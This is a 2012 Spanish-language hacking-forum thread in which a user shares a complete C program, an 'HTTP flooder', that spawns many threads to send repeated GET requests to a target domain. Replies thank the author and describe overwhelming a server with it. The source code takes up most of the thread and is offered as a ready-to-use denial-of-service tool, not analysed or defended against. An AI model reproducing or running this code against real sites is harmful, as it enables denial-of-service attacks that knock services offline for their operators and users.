elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  [Aporte] Flooder HTTP
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Aporte] Flooder HTTP  (Leído 3,226 veces)
0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
[Aporte] Flooder HTTP
« en: 29 Octubre 2012, 16:36 pm »

Bueno aqui dejo este codigo que he estado haciendo estos dias, espero que les guste, se aceptan sugerencias, criticas constructivas, comentarios... etc. Basicamente crea varios hilos (he llegado a probar hasta 50) y cada uno de estos hilos envia peticiones HTTP a la pagina objetivo.

Código
  1. #include <sys/socket.h>
  2. #include <arpa/inet.h>
  3. #include <netinet/in.h>
  4. #include <netdb.h>
  5. #include <unistd.h>
  6. #include <pthread.h>
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <errno.h>
  11. #include <time.h>
  12. #include <sys/types.h>
  13. #include <stdbool.h>
  14.  
  15.  
  16. #define MAX_dani 0xF0000
  17.  
  18. struct params{ /* En esta estructura se almacenan los parametros de la funcion t*/
  19.  char web[20]; // Dominio web
  20.  int port;  // Puerto (sera el 80, para peticiones HTTP)
  21.  int thread; // El numero de thread
  22.  int nrequests; // El numero de peticiones
  23.  int sleeptime; // El tiempo de espera entre cada peticion
  24. };
  25.  
  26. int total_requests; // Para almacenar el numero total de peticiones
  27. pthread_mutex_t lock; // Para evitar que varios threads modifiquen total_requests a la vez
  28. int nthreads; // Numero de threads a crear
  29.  
  30. void* t(void *p) /* Esta es la funcion que va a ejecutar cada thread*/
  31. {
  32.  int n = ((struct params*)p)->thread+1; // El numero de thread
  33.  printf("Proceso %i: presente\n", n); // Presentacion
  34.  char request[128]; // Para almacenar la peticion
  35.  _Bool connected; // Variable auxiliar, indica si el socket esta conectado
  36.  struct hostent *host = gethostbyname(((struct params*)p)->web); // Obtener la IP de la web
  37.  if(!host)
  38.  {
  39.    printf("Proceso %i: No se ha podido resolver la direccion del servidor\n", n);
  40.    return NULL;
  41.  }
  42.  printf("Proceso %i: Direccion IP(v4): %s\n", n, inet_ntoa(*((struct in_addr *)host->h_addr)));
  43.  /*Para getpeername()*/
  44.  struct sockaddr sockbuf;
  45.  int stsize = sizeof(sockbuf);
  46.  /*Preparar los datos de la conexion */
  47.  struct sockaddr_in sock;
  48.  sock.sin_family = AF_INET;
  49.  sock.sin_port = htons(((struct params*)p)->port);
  50.  sock.sin_addr.s_addr = inet_addr(inet_ntoa(*((struct in_addr *)host->h_addr)));
  51.  
  52.  int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // Creamos el socket
  53. if(sockfd==-1)
  54. {
  55.  printf("Proceso %i: No se pudo crear el socket\n", n);
  56.  return NULL;
  57. }
  58. printf("Proceso %i: Socket creado\n", n);
  59. printf("Proceso %i: Conectando...\n", n);
  60. int aux;
  61. connect(sockfd, (struct sockaddr*) &sock, sizeof(struct sockaddr)); // Conectamos
  62. printf("Proceso %i: Conectado\n", n);
  63. connected=true;
  64. sprintf(request, "GET / HTTP/1.1\nHost: %s\nUser-Agent: Mozilla/4.0\n\n ", host->h_name); // Ponemos la peticion en una cadena
  65. printf("Proceso %i: Peticion en request\n", n);
  66. for(aux=0; aux<(((struct params*)p)->nrequests); aux++)
  67. {
  68.   if(getpeername(sockfd, &sockbuf, &stsize)<0) // Comprobar que el socket esta conectado
  69.   {
  70.     if(errno==ENOTCONN) // Si no lo esta, cerrar y reconectar
  71.     printf("Proceso %i: Reconectando socket...\n", n);
  72.     close(sockfd);
  73.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  74.     if(connect(sockfd, (struct sockaddr*) &sock, sizeof(struct sockaddr))==-1)
  75.     {
  76.      connected=false;
  77.      break;
  78.     }
  79.   }
  80.   if(!connected) // Si no se pudo reconectar, decrementar aux y reiniciar el bucle
  81.   {
  82.     aux--;
  83.     continue;
  84.   }
  85.   write(sockfd, request, strlen(request)); // Hacer la peticion HTTP
  86.   printf("Proceso %i: %i peticion/es\n", n, aux+1);
  87.   pthread_mutex_lock(&lock); // Incrementar el numero total de peticiones
  88.   total_requests++;
  89.   pthread_mutex_unlock(&lock);
  90.   sleep(((struct params*)p)->sleeptime); // Pausar
  91.   }
  92. close(sockfd); // Cerrar el socket
  93. pthread_exit(NULL); // Salir
  94. }
  95.  
  96. int main(int argc, char *argv[])
  97. {
  98. /*Tratamiento de linea de comandos*/
  99. if(argc!=6)
  100.  {
  101.   printf("Uso: %s numero_de_threads dominio_web puerto(80) numero_de_peticiones_por_thread tiempo_de_espera\n", argv[0]);
  102.   exit(0);
  103.  }
  104.  
  105.  
  106. /*Inicializar algunas estructuras y parametros*/
  107. pthread_mutex_init(&lock, NULL);
  108. pthread_t *mythreads = (pthread_t*)malloc(atoi(argv[1])*sizeof(pthread_t));
  109. pthread_attr_t a;
  110. struct params *p = (struct params*)malloc(atoi(argv[1])*sizeof(struct params));
  111. int i, ret, j; // Algunas variables auxiliares
  112. nthreads = atoi(argv[1]); // Numero de threads
  113. for(j=0; j<nthreads; j++)
  114. {
  115.  strcpy(p[j].web, argv[2]);
  116.  p[j].thread = j;
  117.  p[j].port = atoi(argv[3]);
  118.  p[j].nrequests = atoi(argv[4]);
  119.  p[j].sleeptime = atoi(argv[5]);
  120. }
  121. /*Setear la cantidad de memoria que un thread puede usar*/
  122. pthread_attr_init(&a);
  123. pthread_attr_setstacksize(&a, MAX_dani);
  124. /*Saber el tiempo que hace que se inicio el programa*/
  125. time_t start=time(NULL), end;
  126. /*Crear los threads*/
  127. for(i=0; i<nthreads; i++)
  128. {
  129.  ret = pthread_create(&mythreads[i], &a, t, &p[i]);
  130.  switch(ret)
  131.  {
  132.   case 0:
  133.    printf("Thread %i creado\n", i+1);
  134.    break;
  135.   case EAGAIN:
  136.    printf("EAGAIN\n");
  137.    _exit(1);
  138.   case EINVAL:
  139.    printf("EINVAL\n");
  140.    _exit(2);
  141.   case EPERM:
  142.    printf("EPERM\n");
  143.    _exit(3);
  144.  }
  145. }
  146. /*Esperar a que terminen los threads, liberar memoria y mostrar algunas estadisticas aproximadas*/
  147. pthread_attr_destroy(&a);
  148. for(j=0; j<nthreads; j++)
  149. pthread_join(mythreads[j], NULL);
  150. end=time(NULL);
  151. pthread_mutex_destroy(&lock);
  152. printf("Retornaron los hilos\n");
  153. printf("Total de peticiones: %i\n", total_requests);
  154. printf("Numero de peticiones por segundo: %lf\n", total_requests/((double)(difftime(end, start))));
  155. free(mythreads);
  156. free(p);
  157. return 0;
  158. }

Saludos!


En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
NeoB

Desconectado Desconectado

Mensajes: 69


Ver Perfil
Re: [Aporte] Flooder HTTP
« Respuesta #1 en: 29 Octubre 2012, 18:53 pm »

Muchas gracias! Lo he probado y funciona a la perfección. Mi servidor se las ha tragado enteritas y se ha atragantado XD.
Muchas gracias por el aporte.


« Última modificación: 29 Octubre 2012, 18:55 pm por NeoB » En línea

Stakewinner00


Desconectado Desconectado

Mensajes: 1.426



Ver Perfil WWW
Re: [Aporte] Flooder HTTP
« Respuesta #2 en: 29 Octubre 2012, 18:55 pm »

ya te funciona? despues miro si cae mi wifi k el otro dia con el mio salia como k enviaba pero no hacia nada
En línea

xiruko


Desconectado Desconectado

Mensajes: 438


Ver Perfil
Re: [Aporte] Flooder HTTP
« Respuesta #3 en: 29 Octubre 2012, 21:24 pm »

gracias por postearlo!

aprovechare y me mirare esta manera de crear hilos de ejecucion... aunque tengo una pregunta: no seria lo mismo hacerlo solo con 1 hilo pero con menos tiempo entre las requests? no tengo mucha idea de esto xD

un saludo!
En línea

0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: [Aporte] Flooder HTTP
« Respuesta #4 en: 30 Octubre 2012, 15:39 pm »

gracias por postearlo!

aprovechare y me mirare esta manera de crear hilos de ejecucion... aunque tengo una pregunta: no seria lo mismo hacerlo solo con 1 hilo pero con menos tiempo entre las requests? no tengo mucha idea de esto xD

un saludo!

Puedes probar a usar varios threads con un tiempo de espera, y luego hacerlo con uno solo. A mi normalmente me es mas eficiente con varios hilos.
En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
pequeño aporte(proxy),pero aporte al fin.:D
Programación Visual Basic
Tengu 0 2,409 Último mensaje 22 Julio 2007, 17:33 pm
por Tengu
UDP flooder en VB6
Programación Visual Basic
elrecar 1 3,067 Último mensaje 30 Agosto 2007, 21:22 pm
por elrecar
[TUTORIAL] Crear un Flooder
.NET (C#, VB.NET, ASP)
gonzalo57 6 3,610 Último mensaje 30 Mayo 2012, 21:37 pm
por gonzalo57
En brutus AET2,¿Que diferencia hay entre HTTP (basic auth) y HTTP(form)?
Hacking
robertito_prado 1 3,194 Último mensaje 7 Julio 2012, 13:48 pm
por robertito_prado
flooder
Programación C/C++
ankora45 2 1,739 Último mensaje 17 Octubre 2012, 14:03 pm
por 0xDani
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines